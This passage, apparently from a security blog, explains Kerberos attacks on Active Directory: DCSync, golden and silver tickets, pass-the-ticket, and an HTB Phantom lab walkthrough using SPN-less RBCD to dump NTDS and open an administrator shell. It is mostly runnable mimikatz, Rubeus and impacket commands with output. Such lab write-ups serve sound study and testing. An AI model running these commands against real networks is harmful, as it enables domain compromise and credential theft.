If we have control of an account with the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges (typically domain admins have these), we can perform a DCSync and get the krbtgt hash:

.\mimikatz.exe

lsadump::dcsync /user:krbtgt /domain:capsulecorp.local

Then we can just move on to request the golden ticket within mimikatz if we like:

kerberos::golden /domain:capsulecorp.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:hash-here /ptt

From Linux
#

The process is pretty much the same, we get the SIDs:

└─$ impacket-lookupsid capsulecorp.local/prince.vegeta:'Pr1nce-0f-All-S41yanz!'@dc01.capsulecorp.local -domain-sids

And if we have the hash of the krbtgt account already we can just paste it in and make our ticket:

└─$ impacket-ticketer -nthash <hash-here> -domain-sid S-1-5-21-1870146311-1183348186-593267556 -domain capsulecorp.local Administrator

Then we could export the resulting ccache file to the KRB5CCNAME environment variable and use the -k tag with impacket scripts to get a shell or something similar.

Silver Tickets
#

Every machine account has an NTLM hash for their SYSTEM$ account that acts as a key when the Domain and workstation are signing TGS tickets. This is less powerful than a golden ticket because it is limited to the context of a single machine, but it produces less logs than a golden ticket attack would.

If we are able to compromise a service account, we can forge any TGS for that service and claim to be other users because the TGS provided by the KDC is encrypted using that service’s hash. All we need to forge a silver ticket is a service’s NTLM hash, the SID of the domain, a target host, an SPN, a username, and some group information.

From Windows
#

Again we get the domain SID:

Import-Module .\PowerView.ps1

Get-DomainSID

Then we can run mimikatz to make a silver ticket, given we already have a service’s NTLM hash:

kerberos::golden /domain:capsulecorp.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.capsulecorp.local /service:cifs  /ptt

It says golden, but we are requesting this with the permissions of a service account so it is still a silver ticket. Now you can use this for whatever purpose you had in mind - in this case we could use it to access the filesystem on the sql01 host as if we were an administrator.

dir //sql01.capsulecorp.local/c$/Users/Administrator/Documents

From Linux
#

Same steps as before just with different tools, we get the domain SID first:

└─$ impacket-lookupsid capsulecorp.local/prince.vegeta:'Pr1nce-0f-All-S41yanz!'@dc01.capsulecorp.local -domain-sids

Then we need to make our silver ticket:

└─$ impacket-ticketer -nthash <sql01-hash-here> -domain-sid  S-1-5-21-1870146311-1183348186-593267556 -domain capsulecorp.local -spn cifs/sql01.capsulecorp.local Administrator

Then we could export the resulting ccache file to the KRB5CCNAME environment variable and use the -k tag with impacket scripts to get a shell with psexec or something similar on the host we requested permissions to.

Pass-The-Ticket
#

Due to common protections around LSASS (like mimikatz function sekurlsa::logonpasswords), it is pretty common to see this area hardened and even looking at it to try and find credentials can trigger some defenses. If we aren’t able to get our hands on an NTLM hash but we can find a valid TGT or TGS lying around somewhere we can use them on their own, but we need to make a sacrificial process.

Failure to create a sacrificial process can end up downing a service because if we forge a ticket and accidentally write over an existing logon session ~ that system account will lose its Kerberos ticket and won’t get a new one until the service restarts.

We will make a sacrificial process to make a new logon session separate from that of the machine account where we can pass our tickets through. This requires admin rights on the machine and this will create some IOCs for defenders to pick up on, but at least we don’t crash a service and we can move vertically or laterally depending on the context.

First we can use Rubeus to make a sacrificial process, making sure we take note of the process ID:

.\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

You can use Rubeus.exe triage to read and evaluate tickets and extract it based on the LUID shown. Then we can extract this ticket:

\Rubeus.exe dump /luid:0x758a1 /service:krbtgt /nowrap

We can make use of the renew method to renew this ticket without actually invalidating the previous one in our sacrificial process.

Rubeus.exe renew /ticket:<ticket-here> /ptt

Then we can use the privileges of which ever user we had access to without having to use their NTLM hash.

Testing our Skills - HTB Phantom
#

We will focus on the parts of this machine that are relevant to kerberos attacks. In this case we get a foothold as an svc_sspr user:

krb-5

So we see that our compromised user (svc_sspr) can change the password of the crose user who is a part of the ICT Security group that has AddAllowedToAct privileges over the DC. The AddAllowedToAct privilege allows a group to set the msds-AllowedToActOnBehalfOfOtherIdentity attribute on a computer object.

The only tricky thing here is that crose (or seemingly any users within the domain) have an SPN set.

└─$ impacket-GetUserSPNs -dc-ip 10.129.72.230 phantom.vl/svc_sspr:gB6XTcqVP5MlP7Rc -request
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

So we will need to perform SPN-Less RBCD abuse by changing the crose user’s password, using their group permissions to add their own account SID to the msds-AllowedToActOnBehalfOfOtherIdentity attribute on the DC.

The issue is that when we perform S4U2Self (asking the KDC for a ticket on behalf of the victim), the KDC will try and sign this ticket with the key associated with our SPN, which doesn’t exist because we don’t have an SPN set. In this case we need to use the workaround described by Jame Forshaw in his blog post on the topic:

  • Use the U2U extension so the KDC uses the key from the user’s TGT
  • Change your user’s password hash to match the session key from the TGT
  • Now when the KDC verifies the ticket using S4U2Proxy, the hash from the TGT and the user’s long term hash match and the KDC hands over access.

First we will change the crose user’s password:

└─$ nxc smb dc.phantom.vl -u svc_sspr -p gB6XTcqVP5MlP7Rc -M change-password -o USER=crose NEWPASS=gabe
SMB         10.129.72.230   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.72.230   445    DC               [+] phantom.vl\svc_sspr:gB6XTcqVP5MlP7Rc 
CHANGE-P... 10.129.72.230   445    DC               [+] Successfully changed password for crose

Second, we use the group permissions to add crose to the DC machine’s msds-AllowedToActOnBehalfOfOtherIdentity attribute:

└─$ impacket-rbcd -dc-ip 10.129.72.230 -delegate-to DC$ -delegate-from crose phantom.vl/crose:gabe -action write
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] crose can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     crose        (S-1-5-21-4029599044-1972224926-2225194048-1126)

Now we need to get a TGT for crose and grab the session key from it and change our password NTLM to match it:

└─$ impacket-getTGT phantom.vl/crose:gabe                                                                   
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
[*] Saving ticket in crose.ccache

└─$ impacket-describeTicket crose.ccache | grep "Ticket Session"
[*] Ticket Session Key            : 0d7db6710409a6f53d7228cf6c1cb2d5

└─$ impacket-changepasswd phantom/crose:gabe@dc.phantom.vl -newhashes :0d7db6710409a6f53d7228cf6c1cb2d5
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of phantom\crose
[*] Connecting to DCE/RPC as phantom\crose
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).

Now we can just export this ticket and request access to some service like CIFS on the domain controller on behalf of the Administrator:

└─$ impacket-getST -u2u -impersonate Administrator -spn cifs/dc.phantom.vl phantom.vl/crose -k -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.phantom.vl@PHANTOM.VL.ccache

We can export that ticket and then use it to dump NTDS and get the Administrator’s hash which we can then use to login:

└─$ nxc smb dc.phantom.vl --use-kcache --ntds --user Administrator

└─$ evil-winrm -i 10.129.72.230 -u Administrator -H <hash-here> 
Evil-WinRM shell v3.9
                                        
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

Related

More CSRF and XSS - Applied Review
·26 mins
cwee xss csrf csp sop cors
Introduction # We have talked about CSRF and XSS before, but here we will focus on exploits in modern web applications that typically require the writing of custom payloads for accomplishing specific tasks.
Injection Attacks - Applied Review
·22 mins
cwee xpath ldap-injection pdf-injection
I am again making an applied review blog post series (and maybe video series) for the modules used to prepare for the CWEE exam.
Command Injection - More Techniques
·10 mins
web
Introduction # We&rsquo;ve already learned a decent amount about of introductory information about OS command injection when we were studying for the Burp Suite Certified Practitioner Exam.